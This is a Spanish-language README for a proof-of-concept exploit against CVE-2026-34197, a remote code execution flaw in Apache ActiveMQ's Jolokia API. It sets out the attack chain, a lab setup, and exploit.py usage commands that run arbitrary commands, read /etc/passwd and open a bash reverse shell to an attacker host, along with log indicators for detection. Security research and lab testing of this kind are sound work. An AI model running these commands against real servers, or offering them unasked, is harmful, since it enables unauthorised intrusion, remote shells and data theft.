
Proof-of-concept exploit for CVE-2026-34197, an RCE in Apache ActiveMQ via the Jolokia API. Includes a Python exploit, payload template, and Docker lab for testing and research.
CVE-2026-34197 es una vulnerabilidad de ejecución remota de código (RCE) en Apache ActiveMQ Classic que permite a un atacante ejecutar comandos arbitrarios en el sistema operativo del servidor a través de la API Jolokia expuesta en la consola web.
La vulnerabilidad existe desde hace más de 13 años y reside en la interacción entre múltiples componentes: Jolokia (puente HTTP-JMX), los MBeans de ActiveMQ, los conectores de red y el transporte VM.
| Campo | Detalle |
|---|
| CVE ID | CVE-2026-34197 |
| Tipo | RCE (Remote Code Execution) |
| CWE | CWE-20 (Validación de entrada incorrecta), CWE-94 (Inyección de código) |
| Versiones afectadas | ActiveMQ Classic < 5.19.4, 6.0.0 — 6.2.2 |
| Versiones parcheadas | 5.19.4, 6.2.3 |
| Autenticación requerida | Sí (credenciales por defecto admin:admin comunes) |
| Sin autenticación en | 6.0.0 — 6.1.1 (por CVE-2024-32114) |
| Puerto por defecto | 8161 (consola web) |
La cadena de ataque funciona así:
/api/jolokia/ invocando la operación addNetworkConnector del MBean del broker.vm:// que referencia un broker inexistente.brokerConfig que apunta a una URL remota.xbean: indica que el recurso es un archivo de configuración Spring XML.Runtime.getRuntime().exec().Atacante ActiveMQ (víctima)
| |
|-- POST /api/jolokia/ ------------>|
| addNetworkConnector( |
| vm://rce?brokerConfig= |
| xbean:http://ATACANTE/x.xml) |
| |
| |-- Crea broker VM
| |-- Descarga x.xml
|<-- GET /x.xml --------------------|
|-- Responde con payload XML ------>|
| |-- Spring instancia beans
| |-- Runtime.exec(COMANDO)
| |
CVE-2026-34197/
├── README.md # Este archivo
├── exploit.py # PoC principal
├── payloads/
│ └── template.xml # Plantilla del payload Spring XML
├── docker/
│ └── docker-compose.yml # Entorno de laboratorio vulnerable
└── LICENSE
requests, http.server, argparse (stdlib)pip install requests
cd docker
docker-compose up -d
Esto levanta un ActiveMQ Classic 5.18.6 vulnerable en localhost:8161.
# Uso básico con credenciales por defecto
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id"
# Especificar credenciales
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "whoami" -u admin -p admin
# Especificar puerto del servidor HTTP del payload
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -lp 9999 -c "cat /etc/passwd"
# Modo sin autenticación (ActiveMQ 6.0.0 - 6.1.1)
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "id" --no-auth
# Shell reversa
python exploit.py -t http://OBJETIVO:8161 -l ATACANTE_IP -c "bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1"
| Parámetro | Descripción |
|---|---|
-t, --target | URL base del objetivo (ej: http://10.0.0.1:8161) |
-l, --lhost | IP del atacante para servir el payload XML |
-lp, --lport | Puerto del servidor HTTP local (por defecto: 8888) |
-c, --command | Comando a ejecutar en el objetivo |
-u, --user | Usuario (por defecto: admin) |
-p, --password | Contraseña (por defecto: admin) |
--no-auth | No enviar credenciales (para versiones 6.0.0 - 6.1.1) |
--broker-name | Nombre del broker (por defecto: localhost) |
Indicadores en los logs del broker ActiveMQ:
INFO | Establishing network connection from vm://localhost to vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
WARN | Could not connect to remote URI: vm://rce?create=true&brokerConfig=xbean:http://X.X.X.X:8888/payload.xml
Otros indicadores:
/api/jolokia/ con addNetworkConnector en el cuerpovm:// con brokerConfig=xbean:httpCreado por KONDOR DEV SECURITY
Este PoC se proporciona exclusivamente con fines educativos y de investigación en seguridad. El uso de esta herramienta contra sistemas sin autorización explícita es ilegal. El autor no se hace responsable del uso indebido de esta herramienta.
MIT — Copyright (c) 2026 KONDOR DEV SECURITY